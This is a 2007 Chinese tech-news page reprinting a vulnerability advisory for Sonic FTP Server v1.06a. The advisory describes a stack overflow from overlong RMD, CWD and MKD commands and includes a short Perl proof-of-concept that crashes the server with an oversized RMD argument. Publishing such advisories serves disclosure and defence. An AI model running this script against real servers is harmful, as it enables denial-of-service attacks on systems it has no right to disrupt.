赛迪网 > IT技术 IT技术关注 > 文章
  IT资讯搜索
 
IT产品搜索
[程序开发][网管世界][网络安全][数据库技术]
[操作系统][嘉宾聊天·在线访谈][活动集锦]
[精彩专题][Symantec专区][订阅IT技术周刊]
[开发论坛][网管论坛][安全论坛][数据库论坛]
[操作系统论坛][Sybase专区][IBM dW技术专区]
[病毒求助][病毒与漏洞播报][文档·源码下载]

SonicFTPServer远程超长命令堆栈溢出

发布时间:2007.01.22 05:03     来源:黑客基地    作者:ilsy

受影响系统:

Sonic FTP Server v1.06a

描述:

Sonic FTP Server 是一款免费软件。

Sonic FTP Server在处理包含超长字符串时多个命令存在问题,远程攻击者可以利用这个漏洞

对FTP服务程序进行拒绝服务攻击。

FTP服务程序对一些包含超长字符串的RMD、CWD、MKD命令缺少正确的边界缓冲区检查,可导致触

发基于栈的溢出,精心构建提交数据,可能以服务进程权限执行任意指令。

验证代码:

use IO::socket::INET;

$host = "192.168.1.71";
$port = 21;
$buffer = "A" x 506;

$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port) || die 
"[!] Unable to connect to $host\n";

for($i = 1; $i < 10; $i++)
{
$socket->recv($recvbuf,200);
print $recvbuf;
}

print $socket "USER 1\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

print $socket "PASS 1\r\n";
for($i = 1; $i < 10; $i++)
{
$socket->recv($recvbuf,200);
print $recvbuf;
}

print $socket "RMD $buffer\r\n";
$socket->recv($recvbuf,200);
print $recvbuf;

close($socket);

(t003)


[ 发表评论 ] 字体[  ] [ 打印 ] [ 进入博客 ] [ 进入论坛 ]  [ 推荐给朋友 ]
  相关文章
· 网络安全系列知识之CGI漏洞攻击合集下 (01-18) · 网络安全系列知识之CGI漏洞攻击合集上 (01-18)
· WarFTPd多个命令处理远程拒绝服务漏洞 (01-16) · Rama CMS Lang参数本地文件包含漏洞 (01-16)
· 厂商悬赏挖掘Vista漏洞 一处漏洞8000美金 (01-12) · QQ爆高危漏洞危害IE 某网站被植"熊猫烧香" (01-08)
· 黑客知识系列之漏洞分类及进一步发掘 (01-05) · 启明星辰漏洞研究达国际先进水平 (01-04)
· 苹果QuickTime发现高危漏洞 对用户有直接威胁 (01-03) · ASP网站漏洞解析及黑客入侵防范方法 (12-30)
  客户需求反馈表
* 姓  名:
更多资料  了解方案  认识厂商
* 单位名称:
* 联系电话:
* 电子邮件:
  赛迪推荐  
  手机·资费 ·新品·导购·评测·手机资费·宽带
手机搜索  诺基亚 N73 MOTO Z6
  IT产品 ·笔记本·台式机·服务器·打印·投影
IT产品搜索 
  IT技术 ·开发·网管·安全·数据库·操作系统
  信息化 ·热点·专题·访谈·周刊·方案案例
[政务][电信][金融][农业][制造业][中小企业]
[CIO][ERP][协同][IT管理][中间件][电子商务]
[政策][地方][专家][评估][辞典][博客][社区]
· 专题:一路畅通构想曲——让出行不再遭遇堵车
· CIO工作亲历:企业ERP选型不能忽视"选人关"
· 综述:信息化建设给中国监狱带来的各种变化
· 金融业风险管理和法规遵从有五点需考虑的因素
· 保险业CIO关注:该如何建立统一高效的CRM体系
· 调查显示:多数CIO对IT规划仍存在困惑和误解
  博客·论坛 ·曾剑秋·项立刚·Java学习·网管